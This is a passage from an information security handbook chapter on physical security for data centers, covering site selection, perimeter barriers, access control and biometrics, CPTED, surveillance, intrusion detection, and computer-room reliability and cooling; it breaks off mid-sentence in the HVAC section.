Utilities Obtaining statistics on the availability of utilities will help in determining the level of backup systems needed. Frequent rolling blackouts or the occasional loss of water service for chillers can eliminate a potential site due to the dramatic increase in the cost of doing business. In some circumstances it is also advisable to obtain electrical feeds from different substations or even utilities. Although North America’s power infrastructure is generally considered to be the most reliable, following New York’s power blackout in 1965 the North American Electric Reliability Council (NERC) was commissioned to help prevent blackouts and other electrical problems. The ten nonprofit regional reliability councils that comprise NERC could provide key empirical data as to regional electrical reliability. Approximately 170,000 public water systems depend on dams, wells, aquifers, rivers, and lakes for their water. If the data center or mission-critical facility depends on water for its operation, then issues such as age and condition of water mains, diverse sources, and capacity become part of the site selection process. It is also important to protect utilities once they have entered the mission-critical site. One way to mitigate risk is to use hardened utility trenches.
Natural Disasters Although a building code might alert construction and security designers to potential issues, not every potential natural disaster is linked to seismic activity or floods. Although not typically considered as a risk to security, the potential data center site should be evaluated for the likelihood of and its susceptibility to: • • • • • • • • • • • • • • •
Airborne debris or dust (volcanic ash, dust storms, forest fires) Drought Earthquakes or tremors Extreme hot or cold Falling objects (e.g., rocks, trees, hail, ice) Flooding Forest fires Freezing rain Hurricanes, tornadoes, and high winds Heavy soil erosion Landslides Medical epidemics Snow storms and blizzards Tsunamis Volcanoes
646
Information Security Management Handbook
Natural disasters, in particular storms and flood damage, are said to account for over 20 percent of all downtime. It is not difficult to imagine both the primary and backup site, located 20 miles apart, being impacted by one or more of the effects of nature listed above. A critical component of disaster recovery and business continuity planning involves preparation for natural disasters and their tendency to cause a string of cascading events.
The Perimeter Appropriate perimeter security measures provide an often-overlooked layer necessary to protect the physical and cyber security of a data center or mission-critical facility. Perimeter security for facilities where valuable intellectual and physical assets are kept often acts as a bidirectional deterrent, keeping unauthorized or undesirable people out and providing a psychological deterrent for employees, contractors, or visitors who might be considering some sort of malfeasance. The presence of a manned guardhouse through which visitors must pass provides extra psychological and physical fortification. No single security system is foolproof. Providing multiple layers provides four critical benefits: • They can delay an intrusion attempt long enough to allow alarms or other detection systems to activate. • They can provide evidence of a successful or attempted intrusion. • They can serve as a psychological deterrent. • They can mitigate the damage from the threat. In many instances, the psychological effect of appearing impermeable is more effective than the countermeasures themselves. The delay or prevention of damage or theft external sources is universally recognized as a benefit of perimeter security. The perimeter can also serve as a way to keep assets from leaving the property. Perimeter security is accomplished using a wide variety of devices, materials, and designs. Allowing outsiders to enter a secure site or facility such as a data center brings with it many risks. These risks can be mitigated through the use of the following methods and devices.
Barriers Structural barriers are used to limit or discourage penetration from outside of the barrier, inside the barrier, or both. The outermost barriers typically border public space and offer the first line of defense for the secure site. Barriers can be either manmade or natural objects and can limit both accidental and intentional penetration. Some barriers, such as fencing, advertise their purpose, whereas others, such as decorative concrete bollards with planters or lighting, are somewhat less overt but can still stop or damage vehicles operating at high rates of speed. The American Society of Industrial Security (ASIS) identifies three types of penetrations that barriers are used to discourage: • Accidental • Force • Stealth Some secure IT or telecommunications facilities give the appearance of requiring little or no security. Those familiar with the many central offices constructed over the years came to recognize them by the lack of windows. These typically unremarkable buildings would seem to be the last place one would find a major local communications infrastructure. Barriers can be manmade or natural barriers. The following lists contains some examples of each kind of structural barrier: • Manmade barriers Bollards Building surface Clear zones
Physical Security for Mission-Critical Facilities and Data Centers
Ditches Fences Gates Walls • Natural barriers Deserts Hills Lakes or ponds Mountains Rivers Rocks Swamps or marshes Factors to consider with regard to the use of barriers include the type of threat, value of asset being protected, number of layers of barriers or protection, number and kind of detection devices such as alarms and surveillance cameras, resilience of the building walls, and potential entry points. A new generation of electronic and optical barriers is gaining popularity and should be considered for secure data facilities. Perimeter intrusion detection systems and fences with built-in listening or sensing capabilities can be integrated with other perimeter access control devices and alarms to provide temporary perimeters or lower cost primary barriers or to enhance existing perimeters as a second line of defense. The most common types of perimeter devices are (1) traditional fencing with ultrasensitive coaxial cable or optical fiber strands or netting woven or attached to the fence itself (Figure 51.1) or (2) logical barriers, which substitute microwaves, infrared, or laser beams in place of fence fabric. Products such as Fiber Instrument Sales’ fiber fence (Figure 10.1) provide a hybrid deterrent, offering the permanence and psychological deterrence of traditional fencing while incorporating fault and intrusion detection. The totally electronic barriers offer quick installation, portability, and generally lower cost per linear foot; however, the permanence and fortress-like appearance of security fencing is sacrificed for the ability to instantly notify or record intrusion locations. For aesthetic and other reasons, however, the new perimeter intrusion detection systems may be more desirable for a data center or mission-critical facility. Gatehouse The use of gatehouses, previously referred to as guard shacks, can incorporate many of the access control devices discussed later in this chapter. It is important to note that channeling vehicle and pedestrian traffic through a single point of entry can reduce the likelihood of site intrusion and provide unique opportunities to record vehicle and human information for later use. For example, surveillance cameras
648
Information Security Management Handbook
can be placed to record the image of the driver, front license plate, and rear license plate of every vehicle entering and exiting a secure facility. Facial recognition and character recognition would allow nearly real-time comparison of those admitted or requesting entry with databases of known terrorists or those who have previously been involved in domestic or workplace violence. Additionally, if an incident of theft, violence, or damage pointed to a particular time window, then private security or public law enforcement would have a record of every vehicle, driver, passenger, and license number that entered and exited the site during that period. Lighting When deployed on the data center site between the buildings and the perimeter, lighting can serve one or more of the following functions: (1) aesthetics, (2) safety from injury, or (3) protection of persons or property. Although architectural lighting can be pleasing to anyone visiting the building or campus, it is secondary to the safety and protection of persons, vehicles, property, and the site itself. Proper lighting will help avoid injuries and accidents due to slipping, falling, or bumping into manmade or natural obstacles. Very specific design criteria exist for safety-related lighting with respect to type of light, mounting height, shadows, and glare. The effect of lighting on closed-circuit television (CCTV) cameras should also be taken into account. Some types of lighting, such as high-pressure sodium lights, do not have the proper color rendering index (CRI) and can actually make proper identification of people and objects more difficult. Considering the dollar value of the equipment and the cost of downtime, the ability to identify intruders might be important enough to avoid moving into a typical warehouse or retail location. The most important benefit of lighting inside the perimeter is that of discouraging assault or intrusion. This protects employees and other personnel who are entering or exiting the facility and provides a psychological deterrent to penetration of any existing barriers. Intruders are less likely to come close to a facility where it is likely that they will be observed. Private Security Services Another valuable resource in the perimeter protection of data centers and mission-critical facilities is that of the private security service. Initially known as watchmen, then guards, and now security officers, these personnel were characterized as “aging, white, male, poorly educated, usually untrained, and very poorly paid” in a 1971 RAND report. Today finds the business of private security and loss prevention in somewhat better shape. Typical contract security officers are now in their early 30s, and their training has improved somewhat. Proprietary guards, those hired directly by the company, are typically much better trained and paid. Whether contract or proprietary security is deployed as a perimeter deterrent, the security officer remains a very visible reminder of the organization’s commitment to the protection of physical and cyber assets. The presence of a security guard, whether manning a gate or patrolling the campus, sends a clear message to potential intruders. Traffic Control Ideally, employees and visitors must pass through the front entrance, and their movements are limited by the design of the building (the concept of crime prevention through environmental design, or CPTED) and by various types of access control, surveillance, alarm, and personnel-based systems. In some cases, delivery trucks, tractor trailers, fuel trucks, contractors, and other heavy equipment deliveries can arrive at the docks or delivery areas without being subjected to the same security as other visitors. This necessary traffic brings with it a host of security issues. The vehicles that arrive daily at the docks of the data center or IT facility can provide a shield for those who intend to steal, damage, or disrupt the operation of the facility. They also represent a significant risk of fire, explosion, and attack at a point in the building perimeter that is seldom fortified. While the fronts of most buildings contain some sort of barrier to prevent the kind of damage caused recently by truck and car bombs, the loading docks by design cannot block traffic without defeating their ability to function. Some of these risks can be mitigated through interviews at the gatehouse and by under-vehicle and cargo bay inspections for obvious threats; however, the risk will never be completely eliminated.
Physical Security for Mission-Critical Facilities and Data Centers
649
Parking garages represent another source of threat to the security of an IT facility. The same access control techniques used for pedestrian traffic can be combined with intercoms and gates to control entry and exit from a parking garage. When employees, visitors, or contractors exit their vehicles, their opportunity to be injured or to engage in criminal activity increases until they have entered the building or are once again in their vehicles. Operation of elevators servicing parking areas must be synchronized with the deployment of personnel (receptionists or guards) and with the programming of access control devices. It is also advisable to close the parking garage at night or limit its hours of operation. Keeping the parking garage open 24 hours can trigger a need for additional countermeasures to protect assets and people. Traffic control devices are also an important consideration when any vehicular traffic is permitted inside of the site. Traffic lights, stop signs, speed limit signs, speed bumps, gates, barriers, painted lines, and other devices help to ensure that the employee, visitor, or service personnel operate their vehicles safely and do not jeopardize key personnel or property while driving inside the perimeter of the site.
The Building Preventing theft of or damage to assets and preventing injury to or death of any building occupants are among the most common goals of building security. Although physical damage to a building can only be obstructed, absorbed, or deflected, opportunities to create damage can be reduced through various types of access control, surveillance, and alarms. A combination of these security measures provides the layers of protection necessary to protect the critical IT infrastructure and assets.
Access Control Fundamental to the protection of any asset is protecting it from unauthorized access. Information and physical security share the need to both identify and authenticate the user requesting access. Due to the ability to gain access through the unauthorized use of keys or cards, single-factor authentication is often the single point of failure in access control systems. The three generally accepted authentication factors and an additional optional factor are: • • • •
Type 1 — Something you know (passwords and personal identification numbers [PINs]) Type 2 —Something you have (keys, cards, token) Type 3 —Something you are or some physical characteristic (biometrics) Type 4 —Something you do (optional and a less distinct authentication factor)
For a higher level of security, one or more of the authentication factors are often combined to create two-factor or multifactor authentication. An example of two-factor authentication would be an automated teller machine (ATM) card, where both the card (something you have, type 2) is combined with a PIN (something you know, type 1). Multifactor authentication eliminates the likelihood of a single point of failure, such as when a person’s ATM card is stolen. The use of individual and combined authentication types is a common access control tactic for both information and physical security. It should also be noted that a poor building design or one not conforming with the design concepts behind CPTED can limit or negate the benefits of a good access control system. Without incorporating the security principles of CPTED during the initial construction of a building, expensive protective measure must be taken later to compensate, which can at times include the need for guard services where none would have otherwise been required. The following text provides an overview of commonly accepted access control methods. Badging The role of access control centers on establishing the identity of persons requesting access or egress. Identification must be validated in a couple of ways. First, it must be an authentic form of identification, and, second, it must contain a true likeness of the bearer. Information pertaining to one’s identity can
650
Information Security Management Handbook
also contain information as to that person’s functional capabilities. For example, rights and privileges extended to someone who is a police officer will be different from those for someone who is a job applicant. A police officer who needs to enter a data center or computer room to investigate a crime or for other official business would be admitted without a company-issued ID badge, whereas a job applicant would most likely not be allowed to enter. A solid badging policy and procedure are exceptionally important in light of the value of the assets contained within the data center or mission-critical IT facility. One concern is tampered ID badges or the unauthorized reuse of ID badges issued to visitors and service personnel. Employee and other longterm ID badges should be laminated to prevent tampering in the event they are lost or stolen. When proper lamination techniques and materials are utilized, the ID badge will tear if someone tries to insert a new photograph into the badge. Recently, stick-on temporary badges have become available; they react to light and within a preset period of time (typically about 8 hours) display a word such as “VOID,” colored bars, or other visible sign indicating that the badge has expired. Biometrics Biometrics can be defined as the statistical analysis of physical characteristics. In security and specifically within access control the term refers to the measurement and comparison of quantifiable physical and physiological human characteristics for the purpose of identification and authorization. From an access control standpoint, biometrics is still relatively new; however, the use of biometrics is gaining ground, because this pattern-recognition system overcomes issues associated with authorized individuals having to carry keys or cards. Biometric systems capture the control data in a process know as enrollment. When the subject’s biometric reference data has been collected, it is then stored as a digital template. For the purposes of granting or denying access, submitted biometric samples are compared with the template and not stored images or the enrollment sample. Four technical issues that must be considered prior to selecting biometric technology for use in a data center are: • Failure to enroll — This occurs when the fingerprint or other biometric data submitted during the enrollment process does not have enough unique points of identification to identify the individual. • Type 1 error, or false reject — Just to be confusing, this type of error is also known as “false nonmatch” and occurs when the condition of the biometric data presented for matching to a stored template falls outside of the window of acceptance. In fingerprints, this could be accounted for by the condition of the finger, its placement on the reader, the pressure exerted, or other environmental or injury- or wear-related factors. • Type 2 error, or false accept — Sometimes the selected comparison minutiae on two fingerprints or other biometric data can be identical. Other points of identification may be unique, but the particular sets of characteristics chosen and stored are the same. • Crossover error rate (CER) — This comparison of type 1 and type 2 error rates is potentially the most important measurement of the accuracy of any type of biometric device. Although the CER can be adjusted, a decline in false accepts frequently results in an increase of false rejects, so a biometric device with a crossover error rate of 2 percent is better than one with a rate of 3 percent. Although the individual criteria that distinguish some biometric factors such as fingerprint and retinal minutiae are decades old, the advances in technology allowing them to become practical for access control purposes are still relatively new. A short list of the biometric technology available that can be used in access control systems for data centers or IT facilities includes the following: • Facial recognition measures unique attributes of the face, including surface features such as geometry, or it can use thermal imaging to map the major veins and arteries under the skin. These types of biometric devices actually capture an image of a face in picture or video format and then convert the image into a template of up to 3000 bytes.
Physical Security for Mission-Critical Facilities and Data Centers
651
• Fingerprint recognition analyzes the patterns found on the tips of the fingers. The use of fingerprint patterns as unique identifiers for criminals has been around for over 100 years; however, the earliest known hand or foot impressions that were used as signatures may date back 10,000 years. Mature methods of identification also spawn mature methods to defeat or bypass identification and authentication. To eliminate the potential removal of the finger of an authorized enrollee and using it to gain access, many manufacturers now measure pulse and temperature as part of the authentication process, although even with these additional metrics fingerprint recognition systems have been spoofed. In 2002, Tsutomu Matsumoto, a Japanese cryptographer, devised a technique that will fool most temperature- and pulse-sensing fingerprint readers. He used various techniques to create gelatin molds of “fingers.” When these molds were wrapped around a warm finger with a pulse, they allowed the unauthorized visitor to gain access, even with a security officer watching — more evidence that multifactor authentication is much more secure than even single-factor biometrics. • Hand-scan geometry compares various hand measurements, including the length, width, thickness, and surface area of the hand. This technology has been around for a few years and is used primarily for access control, but it has also been included in many time and attendance systems. In order to prevent the potentially fatal removal of an authorized user’s hand to gain unauthorized access, temperature sensors have been added to the technology included in many commercially available units. • Iris and retinal scans are considered the most secure of the biometric methods; in some studies, the iris scan has been shown to benchmark at a 0 percent crossover error rate. A related technology, the retinal scan, maps the vascular patterns behind the eye, and the iris scan uses the unique pattern formed by the iris for comparison. Biometric data from both iris and retinal scans is internal data and is considered far less subject to tampering or spoofing. • Other biometric technology includes other biometric signatures that can be used to control access to a secure room or site, such as signature dynamics, DNA, signature and handwriting technology, voice recognition, and keystroke dynamics. Selecting the proper biometric appliance or the number of additional authentication factors or deciding whether biometrics should be used at all should be based upon a number of criteria, including business case, risk, threat, data sensitivity and classification, potential subscribers, and site demographics, among others. Card Readers To enhance the use of keys for type 2 authentication, magnetic stripe, watermark magnetic, Wiegend wire, embossing, Hollerith optical, or radiofrequency card readers and cards can be used to control access or egress from a building. These cards can be combined with other access control methods to create a very secure multifactor authentication access control system. Employee, contractor, and visitor ID badges can be printed on the face of the card. Access can also require the additional use of biometrics or passwords to gain entry. In some highly secure sites, access control can be combined with network security to allow users to log onto the network only if they are listed in the access control system as being in the building. With this type of physical and IT security integration, even if intruders forced their way into a secure facility, they would be less likely to gain access to sensitive or proprietary data. Two special design features that should be considered for implementation within the data center or secure IT facility are anti-passback and the two-man rule. Anti-passback addresses the practice of those who are authorized to enter passing their access card back through or under a door to a waiting employee or other person. The second person then uses the first employee’s card to enter the same door. When anti-passback features are installed and activated along with normal access controls, the card can only be used to enter a perimeter door or gate one time. When the user is inside the facility, the card can only be used to enter other doors with readers or to exit the building. When the card is used to exit the building, it cannot be used to open doors inside the facility or secure areas until after it is used to reenter.
652
Information Security Management Handbook
GGMK>
GGMK
GMK>
A
MK>
CK>
A
AA
AA1
AA2
AA
AA3
AA1
AA2
AA
AA3
AA1
AA2
AA
AA3
AA1
AA2
AA3
FIGURE 51.2 Great grand master key system: four levels of keying.
This feature prevents both unauthorized persons from entering the facility and the card from being passed back into the facility for use by an unauthorized person. The two-man rule is used for areas where no person is ever permitted to be alone. It is typically used for access to bank vaults, military facilities, and locations with classified documents, objects, or data; however, this technology has potential value for use in mission-critical data facilities. This access control application requires that two persons must have presented valid cards and entered within a given period of time, typically less than a minute, or an alarm sounds. Conversely, if only one of the authorized persons exits and the second one remains inside the secure room, then an alarm sounds, security is notified, and the event is recorded. Locks and Keys Of the devices discussed, locks and keys are the most widely deployed method of access control and are not limited to doors. Locks can be found everywhere and protect a wide variety and scale of commercial, government, residential, and industrial assets. Locks are generally classified into one of two categories: (1) mechanical or (2) hybrid (mechanical and electrical). Mechanical locks typically use keys, codes, cards, or combinations to restrict access. Hybrid locks are simply mechanical locks that are controlled or opened using some electrical actuator. These electronic keys include everything from push buttons and motion sensors to panic bars, card readers, radiofrequency identification (RFID), and keypads. Because doors not only protect assets but also require interaction with human beings, fire and life safety concerns must be addressed. Most locking mechanisms are classified as either fail safe or fail secure, and their use should be considered carefully for doors in the egress path during a fire or other emergency when power or command and control is lost. Local building and fire codes will also dictate the allowed complexity of exiting through a door or opening during an emergency. Many codes limit the number of actions required to exit through a door. Exiting through a door almost never involves the use of multifactor authentication or access control. Many secure facilities still employ the most common form of type 2 (what you have) authentication — keys. When locks and keys are used, careful management or control of the keys must be maintained. Termination of employees and loaning keys to other employees or service personnel are opportunities for keys to fall into the wrong hands. One way to limit risk in this case is to classify locks and the keys used to open them according to a grand master key system, as shown in Figure 51.2. Some rules for key control include: • Restrict the issuance of keys on a long-term basis to outside maintenance or janitorial personnel. Arrange for employees or guards to meet and admit all contract janitorial and service personnel. • Keep a record of all issued keys. • Investigate the loss of all keys. When in doubt, rekey the affected locks. • Use as few master keys as possible. • Issue keys based on a need-to-go basis. Review the list periodically to ensure that the various key holders still have a need to access the secured areas for which they hold keys.
Physical Security for Mission-Critical Facilities and Data Centers
653
• Remember that keys are a single-factor authentication mechanism that can be lost, stolen, or copied. Always consider two-factor or higher authentication mechanisms for computer rooms, sensitive or mission-critical zones in data centers, and any other space where valuable assets are kept.
Special Access Control Devices Most people are familiar with common access control devices that prevent, limit, or control movement within a building or area, such as door strikes, electromagnetic locks, gates, bollards, walls, and many other devices. Special devices, however, can be used for either higher levels of security or to replace 24/7 private security while still maintaining strict control of entry and exit. Three of those devices are mantraps, sally ports, and turnstiles. Mantraps Access control portals or mantraps typically consist of two or more doors, spaced and controlled in such a way that (1) no guard or attendant is needed, and (2) only one person can enter at a time; they typically incorporate the use of one or more types of card reader, biometric reader, metal detector, keypad, weight feature, occupant count, or voice recognition. Additionally, the mantrap can include chemical, biological, radiological, nuclear, and explosive (CBRNE) sensors. If an unauthorized individual attempts to enter the facility, if one of the sensors detects any of the CBRNE triggers, or if more than one person enters or piggybacks, then the second door remains locked, trapping the individual. This will trigger an alarm and summon internal security or the police, who can then investigate. In the event that no alarm is triggered, mantraps have intercoms or phones. For low-traffic buildings, a single mantrap may be used for entry and exit, but two or more are generally used for high-traffic facilities. Some manufacturers offer mantraps that look like revolving doors. Others offer bullet-proof and blast-resistant glass as a standard feature to maintain the integrity of the building perimeter. It is not unusual to see mantraps deployed for highly secure data centers, computer rooms, and mission-critical facilities. Sally Ports Some have described a sally port as a mantrap for vehicles. The material used to build sally ports varies depending on the type of facility where they are installed. Typically, a vehicle is driven to the entrance of a sally port. Through some form of access control (surveillance or intercom), the vehicle requests and is permitted entrance. A pedestrian door with access control is typically located on the inside of the sally port. For facilities with guards that man the sally port, provisions are made for the guards to view the vehicle and its occupants through CCTV or bullet- and blast-resistant windows on the control room. Turnstiles Similar to mantraps and sally ports, turnstiles typically combine standard access control with a half- or full-height rotating arms. When the person has been authorized to enter, then the arm or arms release and allow access. Turnstiles are typically used for high-traffic facilities such as sports stadiums, public transportation, and other facilities where a blend of accessibility and security is needed. Turnstiles would be best suited for access at the perimeter of a secure IT site. Crime Prevention Through Environmental Design
Through work that began in public housing projects addressing residential security, organizations such as the Law Enforcement Assistance Administration (LEAA) and the American Institute of Architects (AIA) have refined and formalized design concepts addressing the role that building design plays in security. It is easy to identify buildings that were constructed before CPTED became a recognized practice. Many of these buildings were constructed with easy access and virtually no distinction between private spaces, intended only for trusted individuals, and public spaces. Some of the pre-CPTED buildings allowed access and egress through unlocked and unprotected doors and did not funnel foot traffic through a manned secure space such as reception areas or guard desks. Some of the issues addressed by CPTED include:
654
Information Security Management Handbook
• • • • • •
Controlling traffic patterns (both vehicular and human) Location, height, and number of external windows Location and number of external openings and entrances Quality and number of locks Alarming restricted access and egress points Classification of space based on the identification, authorization, and sensitivity of the assets it contains
The practice of crime prevention through environmental engineering defines four types of spaces. In ascending order of their required security, they are: • Public space Lobbies Public restrooms Sidewalks Parking lots • Semipublic space Conference rooms Private restrooms Loading docks Utility closets • Semiprivate space Board rooms Offices Copy rooms Telecom closets • Private space Computer rooms Network operations centers Executive suites Human resources and finance One important aspect of building design and processes is visitor and service personnel management. Providing visitors and service personnel with clear borders and defined boundaries between public and private spaces is critical to maintaining successful traffic control, especially in an unescorted facility. Providing clear directions to restrooms, meeting rooms, mechanical rooms, and electrical closets is a good security practice. Displaying floor and building maps, clearly labeling rooms, and installing information signs all serve to direct visitors and service personnel. Proper building space design, ID badging, access control devices, surveillance, and employee awareness all work together to assist in maintaining the separation between public and private spaces. If an existing building or site is selected to house a secure IT facility and it was not designed using CPTED design techniques, making the necessary changes can be very expensive and sometimes not worth it. Because site-related issues such as traffic flow, barriers, and other deterrents are typically easier to accomplish than boarding up windows or moving load-bearing walls inside of a building, close attention should be paid when qualifying any existing building for a data center or mission-critical IT facility. A good design using CPTED concepts includes several overlapping strategies, such as natural access control, natural surveillance, territorial enforcement, visitor management, traffic encouragement, maintenance strategies, and reduction of conflicting use. It is important to remember that CPTED is not a targethardening practice requiring a fortress mentality. It is the study of human and process interaction with the environment and designing the structure and site to encourage desired behavior and discourage undesired behavior.
Physical Security for Mission-Critical Facilities and Data Centers
655
Guards As noted in our earlier discussion of site selection, guard services or security officers can provide an effective method of access control. Although guards can provide an intuitive and flexible method of determining the identification and authorization of someone requesting access to a secure IT facility, they can also make mistakes in judgment or be subject to other human temptations that jeopardize security. Surveillance and Closed-Circuit Television Surveillance is one of the oldest forms of security. Originally accomplished through the deployment of sentries or guards, security was labor intensive and required enough personnel to visually monitor the asset, building, or area to be guarded. As technology became available and cost reduction became a driver, a growing number of facilities moved toward more cost-effective surveillance devices to supplement or replace security guards. Surveillance devices can be motion picture cameras, closed-circuit cameras, or sequence cameras, the primary goal of which is to obtain an identifiable image of the subject or asset being monitored. The installation can be covert or hidden, as apprehension is the goal (think “nanny cams”), or the devices can be installed openly so as to discourage any violation of company policy or engaging in criminal activity. Unless continuously monitored, surveillance cameras are limited in their ability to detect crime as it is happening. The primary value offered by cameras is the recording of any theft, violence, damage, or policy violations. Surveillance plays an important role in both deterrence and detection anywhere within the perimeter of a secure facility; however, advances in the technology can offer incremental benefits to the surveillance industry through the use of artificial intelligence, which provides added benefits compared to strictly watching for intruders or keeping an eye on employees. Many surveillance companies offer the ability to alarm a specific zone or area within the picture sent back to the camera. Using this technology, if a camera is focused on a wall containing both a door and a window, the software would permit recording and alarming of only the target area, the door, while ignoring passing pedestrians, birds, and other potential false alarms. This saves tape or disc storage space as well as time and resources necessary to respond to false alarms. Among other emergency technologies that leverage the surveillance video are those concerned with fire and life safety. The British firm Intelligent Security, Ltd., has developed a product called Video Smoke Detection. It uses the output of common CCTV cameras to detect smoke and fire up to 20 times faster than the best temperature sensors, smoke detectors, or the human eye. In a computer room or data center where the particulate matter from a smoldering fire can do a greater amount of damage than the fire itself, this ancillary benefit of CCTV can provide significant benefit to the overall security without the incremental costs of additional surveillance cameras.
Intrusion Detection Not every secure facility will need or hire security guards to patrol the perimeter of the site and hallways of the building. Additionally, the chance of catching an intruder when patrolling a facility of any significant size is remote. This fact, plus the cost savings of installing an alarm system, makes it an attractive alternative instead of supplementing guard services. Intrusion detection can involve one of three types of alarms. Fire alarms and special-use alarms (heat, water, and temperature) are common in all commercial buildings systems as well as data centers and computer rooms. Alarms are not necessarily a countermeasure. They do not prevent, funnel, trap, or control anything. Short of some psychological effect as a deterrent, they only detect. Several types of alarms are used for intrusion detection: • Audio or sonic systems depend on intruders creating noise of a sufficient volume that the microphones will detect it and the alarm will be activated. • Capacitance alarm systems detect changes in an induced electromechanical field surrounding containers, fences, or other metal objects.
656
Information Security Management Handbook
• Electromechanical devices act as switches that provide information to the monitoring person or device regarding the state of some part of the building: The door is open, the window is closed, or the cover has been removed from a file server or other network device. • Motion sensors use radio, high-frequency sound, or infrared waves to detect movement. The performance of radiofrequency waves is more subject to false alarms because the radiofrequency spectrum can penetrate walls and pick up unintended movement on the other side. • Photoelectric devices monitor for the presence or absence of light. These sensors can detect when a beam has been broken or when a door has been opened on a computer room cabinet. • Pressure devices are also switches that simply respond to pressure. These types of sensors can be placed under carpeting or in some other concealed place. • Vibration detectors sense the movement of objects, surfaces, or vehicles or other assets. When a vibration is detected that is within the preset range of intensity, the alarm sounds.
Walls, Doors, Windows and Roofs Security plans often fail to consider the walls, doors, and windows of a building as being integral to security. For many data centers and IT facilities, no perimeter barrier has been established through the use of guards, fencing, or other barriers. In these type of situations, the building shell becomes the perimeter protection. Many times the windows and doors are protected by traditional burglar alarm devices (e.g., glass break sensors, open/closed contacts, motion sensors), but the walls are often ignored as a point of entry. Many police reports are on file that tell the tale of an intruder entering through the outside wall of a business or the inside wall of a poorly hardened or alarmed adjoining space. Deploying alarms and surveillance on interior walls that are adjacent to other businesses and on outside walls where limited or no safe zones exist is recommended. Incidentally, there is also no shortage of incidents where the intruder entered from the roof, so do not forget to include vertical points of entry in the security plan.
Weapons and Explosives Screening The inspection of persons and property for contraband, weapons, and explosives has become commonplace due to 9/11. Weapons detectors, x-ray machines, and explosives detectors are inescapable when traveling by air. Behind the scenes, dogs and machines are engaged in a constant vigil. The data center or mission-critical IT facility can offer another tempting target for vandals, saboteurs, and terrorists. The following are some suggestions for mitigating the risk of damage or injury due to weapons and explosives: • Clearly display signs in multiple languages (as appropriate) advising potential entrants of the pending screening procedures, prohibited items, and the company’s policy on prosecution if contraband is found. • In high-risk facilities, install both walk-through and hand-held metal detectors, and hire and train the personnel required to use them for screening. • Consider the installation of explosives and chemical, biological, radiological, nuclear, or explosives sensors or machines at entry points or inside of mantraps and turnstiles.
The Computer Room More than any other place in the enterprise, electrical, mechanical, security, and information technology systems come together to work as one system in support of availability and reliability in the computer room. While many of the alarm systems, access control devices, and surveillance equipment discussed earlier in this chapter apply to computer room security, this section deals with threats to the availability of the systems, applications, and data that comprise this core space. Protecting the computer room, like all other assets, consists of a maintaining a careful balance between the value of what is being protected with the cost of countermeasures. This section deals with direct threats to the cyber health of the facility, critical infrastructure, hardware, software, and occupants of the computer room and how the various
657
Physical Security for Mission-Critical Facilities and Data Centers
systems work together to protect the reliability and availability of the applications and data found there. Many of the seven sources of physical damage referred to earlier in this chapter (i.e., temperature, gases, liquids, organisms, projectiles, movement, and energy anomalies) can also be considered physical threats to the data center.
Risk Assessment A risk assessment is strongly recommended when designing a computer room. A risk assessment for the computer room will include the following metrics: • • • • • • • • • •
Availability Probability of failure/reliability Mean time to failure (MTTF) Mean time to repair (MTTR) Susceptibility to natural disasters Fault tolerance Single points of failure Maintainability Operational readiness Maintenance programs
Availability and reliability are the overarching objectives of computer room operation. Availability is the long-term average of time that a system is in service and is satisfactorily performing its intended function. Reliability focuses on the probability that a given system will operate properly without failure for a given period of time. The American Society of Heating, Refrigeration and Air Conditioning Engineers (ASHRAE) has estimated that the average commercial building has 15 building systems. These building systems are divided into the five major groups of office automation (voice, data, video); heating, ventilating, and air conditioning (HVAC); security; fire and life safety (FLS); and energy management. Many of these systems have subsystems. A data center, including the computer room, will average 20 or more of these systems or subsystems. All of these systems must be available and reliable or the rating of the entire data center is reduced. This interdependent group of physical and cyber systems, when combined with human assets and when operating within defined processes, has been identified by the Department of Homeland Security as the critical infrastructure. To combat the inevitable failure of a critical infrastructure within the computer room, much attention should be focused on the redundancy, complexity, and operational readiness of each independent system.
System Reliability It is also important to note the relationship between the number of systems and components in the computer room. Very simply, the more systems and components in the computer room, the less reliable it will be. An additive effect of the MTTF and MTTR of the various systems on the collective performance has been identified. Table 51.3 compares the availability and probability of failure (Pf ) over a three-year TABLE 51.3 System Reliability System Electrical system alone Mechanical system alone Electrical system supporting mechanical system Overall mechanical system Combined electrical and mechanical system
Mean Time to Failure (hr)
Availability
Three-Year Pf (%)
330,184 178,611 108,500 70,087 57,819
0.99999 0.999943 0.999985 0.999931 0.999922
8.10 11.70 21.40 29.20 36.90
658
Information Security Management Handbook
period for the electrical and mechanical systems that are supporting a computer room. When considered individually, the systems exhibited four or five nines of reliability. The percent probability of failure ranged from 8 percent to 11.7 percent. When considering the overall combined electrical and mechanical system, however, the probability of failure escalates to nearly 37 percent over the three-year period. The maximum attainable rating for both systems is slightly under a tier 4 benchmark. When considering the cumulative effect of multiple systems and human factors on a data center, it is not surprising that only 10 percent of the data centers evaluated by The Uptime Institute ranked at tier 4 levels. Critical failures in the computer room are typically caused by more than one factor or system failure. Most often the failure is caused by a combination of some external event (power failure), followed by some equipment or human failure (the manual override of an alarm). Compounding the contribution of cascading events to downtime are latent failures, where some previously uncorrected minor fault leads to downtime during a disaster (e.g., maintenance personnel leaving a circuit breaker open during the last preventative maintenance of the backup generator). Most critical failures occur during a change of state and are not attributable to system failures. Humans are not all that reliable and tend to cause more downtime than any other factor. When considering the role that the human factor and latent faults play in downtime, it is not surprising that more maintenance does not always mean higher levels of availability. The following five sections address some of the major factors that affect availability in the computer room.
Heating, Ventilation, and Air Conditioning Many of the performance benchmarks of the modern computer room evolved out of the original Bellcore standards for the telephone company’s central offices. Under the standards defined in the Network Equipment Building Systems (NEBS) guidelines, equipment was required to provide the highest possible level of equipment sturdiness and disaster tolerance. The NEBS standards employed a group of tests that put central office equipment under extreme physical and electrical tests, simulating extreme operating conditions such as might be encountered from natural or manmade disasters. NEBS level 3 equipment is required to withstand an earthquake rated at 8.3 on the Richter scale, a direct lightning strike of 15,000 volts or greater, and extreme fluctuations in temperature ranging from as low as 23°F to as high 131°F. These temperatures may not seem all that extreme, but remember that component reliability is reduced by 50 percent for every 18° rise in temperature above 70°F. Temperature is important. The rigid requirements for HVAC systems in data centers and enterprise computer rooms are derived from what we have learned about other mission-critical facilities. The pending Telecommunications Industry Association Telecommunications Infrastructure Standard for Data Centers (SP-3-0092, to become TIA-942) references the Bellcore standards and goes further to recommend that at a minimum computer room HVAC systems should provide N + 1 redundancy, or one redundant unit for every three or four systems in service. In addition, computer room air conditioners (CRACs) are required to be able to maintain the temperature at 68 to 77°F and relative humidity within a range of 40 to 55 percent. Beyond the heating and cooling aspects of a computer room HVAC system are indoor air quality (IAQ) issues, including concerns regarding certain airborne particles and microbes. A number of air filters and filtering systems exist to address indoor air 